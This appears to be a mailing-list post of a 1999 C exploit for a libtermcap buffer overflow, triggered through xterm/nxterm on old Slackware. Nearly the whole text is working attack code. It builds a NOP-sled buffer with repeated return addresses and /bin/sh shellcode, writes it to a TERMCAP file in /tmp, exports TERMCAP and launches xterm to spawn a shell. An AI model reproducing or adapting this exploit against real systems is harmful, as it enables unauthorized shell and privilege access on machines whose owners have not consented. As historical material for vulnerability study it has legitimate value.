libtermcap xterm exploit

[falcon () AAINFO CCU UNIOVI ES (Jose Luis Martinez Arranz)]

/*
   ****************************************************
   ***          libtermcap xterm exploit            ***
   ***                by m0f0 1999                  ***
   ***                                              ***
   ***          it works for xterm/nxterm           ***
   ***          Tested Slackware 3.5, 3.6           ***
   ****************************************************
*/

#include <stdio.h>
#define BUF_SIZE 5000
#define POS_RET  2000
#define POS_SEP  3000
#define RETADDR  0xbfffefef
#define EGG      "/tmp/egg_termcap"

// shellcode
char shellcode[] = // 48 caracteres
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh";

void main (int argc, char *argv[]) {
  int i;
  FILE *f;
  char buf[BUF_SIZE];
  long retaddr, offset;
        
  printf ("\n");
  printf ("****************************************** \n");
  printf ("* libtermcap xterm exploit, by m0f0 1999 * \n");
  printf ("****************************************** \n\n");
  printf ("Use : %s [offset] \n", argv[0]);

  offset = 0;
  if (argc>1) {
    offset = atol (argv[1]);
  }

  retaddr = RETADDR + offset;
  printf ("Return Address = 0x%x \n",retaddr);
        

  // Fill buffer with NOP's
  memset (buf, 0x90, BUF_SIZE);
  buf[BUF_SIZE]=0;
        
  // Set termcap file header and sep
  memcpy (buf, "xterm|", 6);
  memcpy (buf+POS_SEP,":\\",2);

  // Return Address
  for (i=POS_RET; i<=POS_SEP-10; i+=4) {
    *(long*)(buf+i) = (long) retaddr;
  }

  // Copy shellCode
  for (i=0; i<strlen(shellcode); i++) {
    buf[i+2000] = shellcode[i];
  }

  // Write EGG_TERMCAP
  f = fopen (EGG,"w");
  fprintf (f,"%s",buf);
  fclose (f);
        
  // Export TERMCAP
  setenv ("TERMCAP", EGG, 1);

  // Run program
  execl ("/usr/X11R6/bin/xterm","xterm",NULL);

}